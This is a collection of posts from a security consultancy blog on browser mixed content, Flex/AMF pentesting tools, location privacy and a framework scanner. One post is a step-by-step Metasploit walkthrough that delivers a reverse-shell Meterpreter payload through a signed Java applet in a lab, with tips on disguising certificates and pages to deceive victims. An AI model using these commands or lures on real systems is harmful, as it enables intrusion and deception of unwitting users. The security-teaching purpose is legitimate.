Mixed content in different browsers

In security, one of the most old and famous attacks is Man In The Middle attack. With this technique we can read all the packets the user is sending to a server and analyse it. The solution? Use a secure layer to encrypt all the traffic.

This, for web sites, require that the user browser use the HTTPS protocol. This relay in the authenticity of the server certificate and the trust relation between the browser and the certificate authority. It can be broken, but is not the point of this post, maybe for other one :)

If a website mix secure (HTTPS) and insecure (HTTP) content in the same page an attacker sniffing the net will be able to see, for example, our session cookie in clear text. This is a big risk if the attacker has control over the web content we are browsing (using a stored XSS attack) and insert some insecure reference on it to catch our cookie session.

The way the browsers controls this is different in each one, but always insecure. The last version of Internet Explorer can be configured to check if we are loading insecure resources and block them. The result is that we don't see the insecure images if we decide to block. But it's really blocking the resources or only hiding them?

I create a secure web page which load different (mixed) content. Using Wireshark to look the request my browser is doing I can determine that IE8 is currently making the request and, if the user decide to "block" it, only hide it.

 

This can make the user think he is safe when the request (and his cookie sessions) has been sended in clear text.

The other browser I tested is Firefox. When Firefox detect mixed content it load it and show an alert to the user to warn him about it. This is the same insecure process that Internet Explorer, but in this case the webpage is render normally so the user doesn't have the false security feeling when the images are blocked by IE.

I, a huge fan of Firefox and the possibility to expand it using addons, have created a Greasemonkey script to try to prevent this insecure behaviour of Firefox. It's called Mixed Content Protection and can be installed from the userscripts community web page. It requires Greasemonkey to work.

The script is very simple. It works only when we are accessing to HTTPS web pages and search for all the insecure references* in the HTML source code. It executes before the page loads, so it can change "on-the-fly" all these insecure references for the secure ones. If the secure object is not accessible it will not be loaded using a insecure protocol.

Currently it search for:

• All src attributes: img, iframe, object, script, etc.
• The href attribute of link tags for css files
• The insecure value in the param tag to the movie resource.

I think with these references it will cover mostly of the cases but, if you know any other resource can be loaded insecurely, please, feel free to comment me. Also it can fail in some cases, if you detect any issue please let me know :)

* Currently the script only works for the body tag elements, so any insecure reference in the header of the file will be load. It also doesn't work with resources loaded from Javascript or CSS files.

Thanks to Chema Alonso for draw my attention[Spanish blog, sorry] to this web browsers issue.

Testing Flex applications (III)

Today, after understanding how Flex applications works and how analyse Flex applications to obtain the list of services and methods, we are going to discuss how to pentest Flex apps to try to generate our fake AMF packets.

deblaze

This tool has some good and bad points in the testing of Flex applications. Being a console tool is very easy to generate automatic scripts with it or add some functionality it doesn't have. Otherwise it only sends basic objects types (int, long, string...) and not more complex ActionScript objects. It's going to be a problem when we are testing large and complex applications.

Test the remote gateway using deblaze is easy. Knowing the name of the service and the method we can get the list of all the players with the following parameters:

python deblaze-0.3.py -u http://digitalshowcase.biz/demos/players/zendamf.php -s Players_service -m read_Players

We can also send parameters to the method using the -p modifier. The parameters need to be separate using the | char. (p.e. -p 1|string|3)

This was a limitation we found in a recent test that we need to solve. Some of the methods we were testing are methods that receive a boolean (true or false) value. As we can modify the code we made a little piece of code to make the trick. We send it to the creator of the tool and he promised us to add it to the next version. But, if you want to use it now, you can use this version of the file: http://www.pastebin.com/f6a1321dd It add the support to send true or false values setting as parameter value the string "true" or "false".

Charles Proxy

It's a commercial tool that decrypt the AMF packets and allow us to modify and reply them to the gateway. As we showed in the previous post it generate a list of valid request that the application make while we are using the Flash interface.

The main feature of this program is the ability to tamper the request to server and modify them on fly. It also allow us to modify more complex object data. As you can see in the screenshot below we can modify the PlayerVO object.

 

It is very useful in large apps with a lot of AMF objects. It also allow us to break the responses before they are passed to the Flash object, so we can change, per example, a "false" response for a "true" one and test the application against this kind of privilege escalation vulnerability.

Pinta

We are introducing Pinta today. It is an Adobe AIR application so the AMF protocol and the packet sending is going to be 100% equal to the Flash application. Again, as with the deblaze tool, we need to know previously the gateway, the services and the methods to recreate the request to the server.

After specify the gateway the tool ask us for the services, methods and parameters. We can specify different parameters for each method to test different injections. We can also send complex object data using the JSON language.

 

In this case, the PlayerVO object send was: 

{"country":"ES","jersey":"77","player_name":"Test","pos":"PG","team_name":"Atlanta Hawks"}

As you can see the possibilities to send, alter and try to bypass the security of a Flex applications are a lot and we need to know them all to use the most appropiate in each pentesting. For the next chapter (and probably last one) we will make some SQL injections into the application using the previous tools.

Will you tell your enemies where you are?

In the current society where everyone has a 3G mobile, a Facebook account, twitter username and more, sometimes we forgot about our privacy.

These days is becoming very popular the Foursquare web site. It's a very simple social game where you can tell your friends where you are. This is a nice way to meet new sites and catch your friends whatever they are. Foursquare also offers badges for different actions to incentive people to use their application. It also send tweets using our Twitter account telling our friends where are we if we configure it. It's funny!

But this can be a very high risk for our privacy. If our twitter account is public anyone can know at any time where we are. This principle is the one behind the Please Rob Me web page. They use a simple search on Twitter, 4sq -@foursquare, which returns all the automatic generate tweets from the Foursquare web site. These tweets are send when we check-in in a place. People telling everyone where they are? Scary... But wait! It's another web page that offers the same service. It is Gowalla and, again, we can know where is the people who is using this web site: gowal.la -@Gowalla

Right now it is more funny than dangerous but the important point behind this web page is that in the actual society the people give away their privacy. Some years ago (not too much, only 2 or 3...) our personal data was the most important thing for ourselves but nowadays we don't really care about it. We publicity everywhere where we are, what are we doing and, sometimes, pictures or videos.

Our recommendation is to keep your data the more private the applications allow you and try to think twice before posting any data (text, image or video) at Internet. Once posted sometimes is difficult to delete it...

Oh, by the way... I have a public twitter account! You can follow me at @p_laguna for all my security related tweets.

Testing Flex applications (II)

In the previous post we manage to extract some information from the SWF file and understand the structure of the important part in a Flex application. In this chapter we are going to automatize the process of extraction and analysis.

If you are sharp-eyed you probably saw the "deblaze" name in the past post screenshots. This is the name of the first tools we are going to use today and can be found in the deblaze website. You can also found some great examples about the use of the tool.

The first step to analyze with deblaze a SWF application is execute deblaze with the -f parameter, passing the swf URL.

 

Sometimes deblaze is able to determine the gateway technology but in this case it doesn't work. Also deblaze is falling detecting the Service name. Why? Well, we have, in this case, access to the source code and we can determine that the service name is Players_service:

This is because deblaze is extracting the information from the XML that we see in the last post. In this file is referenced the zendamf service, but the real one is Players_service. If we don't have access to the source code we can make a quick search at the swf bytecode:

Also we can see the name of the methods the players_Service is offering to the users. Each method require some parameters that we can also found reading the bytecode.

This parameters can be simple objects like integers, booleans or strings but also can be more complex data as custom objects. In this case the parameter send with the add_Player method is a PlayerVO object. To analyze this object we have the possibility to analyze (again) the swf code to get the data.

This, of course, can be inferred by the possibility to analyse the living app to generate the add_Player action and catch the request using a local proxy tool. Charles Proxy has the ability to show clear text AMF messages between the server and the application.

As you can see Charles Proxy shows us the name of the service, the method and the parameters that the swf file is sending to the gateway. Using this tool and navigating for the web page we can generate a tree of request that will expose mostly all the request that the application has defined.

This way to analyze the application is less painful but we can also miss some important (or administrative) function that is not accessible for a normal user. We recommend do both for a better understanding of the whole application.

Flex gateways can be requested from outside the swf file and in the next post we will cover how to generate fake request to test the server.

WeFeTe

I'm proud to announce the release of WeFeTe. WeFeTe is a very simple tool to test against common configurations in web frameworks. It can be use as a first approach to detect the programming framework without missing any of the default behaviours that frameworks include in their websites.

This first release try to detect the following frameworks:

• CakePHP
• CodeIgniter
• FUSE
• Kohana
• TYPO3
• Zend
• Zope

It's very buggy and all the suggestions are welcome :) Next versions will have more frameworks and maybe an improve UI. Also expect some posts about funny histories about framework default files and (in)security by default ;)

Testing Flex applications (I)

A few weeks ago we were involved into a Flex application pentesting. We are going to explain in a serie of posts how Flex applications works and how we test them.

Flex applications combined two parts: the client side SWF file and the AMF gateway, and both communicated using the AMF protocol. AMF protocol (ActionScript Message Format) is a binary packet which contains serialized data: service, method and objects. This packet is send to the server gateway, which manage the communication or actions requested by the Flash application.

As the Flash object is store in our machine we can extract all the information and use it to generate our custom request to the server without using the proper Flash application and allowing us to modify the parameters to test them against common injections and trying to extract more information from the error messages.

For the extraction of the information from the swf file we use the swfdump. It extract the bytecode of the file and output a more or less readable code. We are going to use for demo propose the app located at http://digitalshowcase.biz/demos/players/Players.swf. This is a demo application from Adobe.

The first step is extract the code from the application. The swfdump command accepts the -D parameter to extract all the information. We are also going to redirect the output to an external file for later analysis:

 

Sometimes we can see warnings but this has not to be a problem. We will be able to analyse the relevant information anyway. The next step is analyse these txt file to find the gateways it is using with a simple grep query:

 

With this XML we know the URL where we have to send our AMF packets and the destinations (services) which the server offers to the application. Now is time to extract the methods of these services:

The string [staticprotected}Object}:: is the key to identify all the methods that the gatewayis expecting. We also have near it the number of parameters that the application is expecting.

This is our first approach to the Flex security but we will discuss in the next chapter how to request these methods and how to test them using semi-automatic tools.

HOWTO: Metasploit Java Applet Attack

Using a recent Java exploit released by Nathan Keltner of The Metasploit Project, Pentura Labs are going to demonstrate how to inject a Meterpreter payload into a browser session via a Java applet.

To get this attack working. you'll need to get your victim to click the attackers URL via whichever method you choose (email, verbal, linked from a website etc.). Once the applet has been executed, your payload is delivered and running......

For this demonstration, we'll use two machines in our lab; one running BackTrack4 with Metasplot Framework 3 (MSF3) and the other running Windows Vista SP2 with IE8 and/or FireFox v3.5. As this attack use a Java applet and a victim running Java Runtime Environment (JRE) the browser shouldn't matter, its the responsibility of JRE to execute the applet.

Setting up BackTrack4 (BT4)

A bit of preparation is needed with BT4 before we begin, here's what to do:

Install Sun Java JDK and rjb gem, then set global variables:

root@bt: apt-get install sun-java6-jdk
root@bt: gem install rjb

Set global variables for Metasploit to use JDK:

root@bt: echo "JAVA_HOME=/usr/lib/jvm/java-6-sun" >> /etc/bash.bashrc
root@bt: echo "export JAVA_HOME" >> /etc/bash.bashrc
root@bt: JAVA_HOME=/usr/lib/jvm/java-6-sun
root@bt: export JAVA_HOME

>> Be sure to update Metasploit Framework, this is done from the working directory of MSF3:

root@bt:/pentest/exploits/framework3: svn up

Setting up Windows Vista SP2 with SUN JRE

JRE v1.6.0_15 was installed on our machine, grab it here

Setting the exploit in Metasploit Framework 3 (MSF3)

Here we choose our MSF3 Java exploit, set some exploit options and then choose our payload that will be loaded in the Java applet.

Start the MSF3 console and set ' java_signed_applet' as the exploit

use exploit/multi/browser/java_signed_applet

Set the target type, in this case, TARGET 1 is for our Windows Vista machine

set TARGET 1

Set the MSF3 listening IP address for the web server

set SRVHOST 10.2.4.200

Set the MSF3 listening TCP port for the web server

set SRVPORT 80

Set the URI Path. This will form the URL that we'll entice the victim to visit (e.g. /pentura)

set URIPATH pentura

Specify our payload to run with the Java applet, we're going to use a Meterpreter payload where the Windows Vista machine will connect back to our BT4 machine.

set PAYLOAD windows/meterpreter/reverse_tcp

We need to set some options for the PAYLOAD itself. In this demo, our meterpreter payload will have the victim connect back to our attacker machine on TCP port 4444

set LHOST 10.2.4.200
set LPORT 4444

Now we'll start having some fun, run the exploit in MSF3. You'll see MSF3 start a web sever and listen out for connections

On the Windows Vista machine, we'll start a browser and connect to http://10.2.4.200/pentura. Observing the MSF3 console, we see the connection inbound from the victim. The MSF3 web server gets ready with the Java applet and then a Java applet cert warning appears in the browser, click "Run" (or "Accept" in some JRE versions).

Once the users accepts and runs the applet, back on the MSF3 console we see the Java applet is delivered and a Meterpreter session is spawned (session #1).

Lets go ahead and connect to the Meterpreter session #1 and see if we can get a command shell on the victim machine

sessions -i 1
shell

BINGO! We have a Windows command prompt on our remote machine! :o)

Now we can issue Windows commands on the victim machine. Alternatively, instead of connecting to a shell, Meterpreter supports a number of scripts that provides a host of other functionality.

Other Attack Options

Option #1

Modify the Java applet certificate settings to more realistic/authentic values. We used the defaults in this demo but you can change the following. In MSF3, use the “info” command once you’ve set the exploit:

Changing these settings to something the victim would more likely accept as legitimate. "...ooh, a company news ticker...."

Upon connection to your attacker machine, they'd see this instead:

Option #2

Use SSL if possible, users often assume an HTTPS connection is totally secure...even its content is ‘safe’....whatever....MSF3 payloads will soon change that :o)

Option #3

Use a properly constructed web page. This demo used a simple blank page with "Loading, Please Wait" at the top. A company intranet page or something similar looking hosted by an attack machine would disguise your nefarious activities and avoid suspicion.

Thanks To......

Dark Operator for all his contributions towards Metasploit and crucially the Meterpreter tutorials for which I am forever reading, testing and using!

The rest of the crew at PaulDotCom for making all this great information available to the masses (and also having a great show!) :o)

And finally to Nathan Keltner and all those involved in The Metasploit Project and for making a great exploitation framework.

Using Firefox as a penetration test tool

Today I'm going to do a speak at "Reading Geek Night 4" about how to use Firefox as a pentesting tool.

It's going to be a short talk with some demos and I'll show different more or less common Firefox extensions and how use them to bypass or test the security in web pages. You can read more about it at the official web page.

See you there!

UPDATE: I just post in my personal blog some information about the talk and the extensions I used.

Hello World!

Hello, my name is Pedro Laguna and I'm security consultant at Pentura Ltd. I'm going to write the first post in this new blog about our security consultancy work in Pentura. This is going to be a place to write down all these small tricks that we use to break the security in some scenarios, post about our tools and scripts or a place to contribute with a better understood about all the security terms.

The most common way to start a blog (more specifically a computer related blog) is posting a "Hello World" post. This is some kind of joke about the first program that anyone learn to do in any coding language. You can check a list with more than 200 examples of Hello World programs in the Wikibooks page.

In our case, as we are a security-related blog, we have to do it in a security way. More specific using Javascript to generate an alert to show the message "Hello World!".

Click here to generate "Hello World!" the alert

Now is time for a bit of technical explanation... If someone can insert Javascript in our pages like we already do, is a vulnerability because he or she can get our cookie session, per example. So, is blogspot in risk? No, and we are going to explain why.

For access to the cookie information using Javascript we need to call to the document.cookie object. This object only has privileges to access to the current domain cookies (it's a browser security measure). Blogger platform only stores cookies in the blogger.com domain and we can only access to blogspot.com domain cookies. You can check it clicking in the following link:

Click here to show blogspot.com cookies

As you can see no session cookie was showed, so... we are safe!!! But only for now, cookie sessions, XSS vulnerabilities and all these web security stuff has a lot to explain and we will be showing you here :)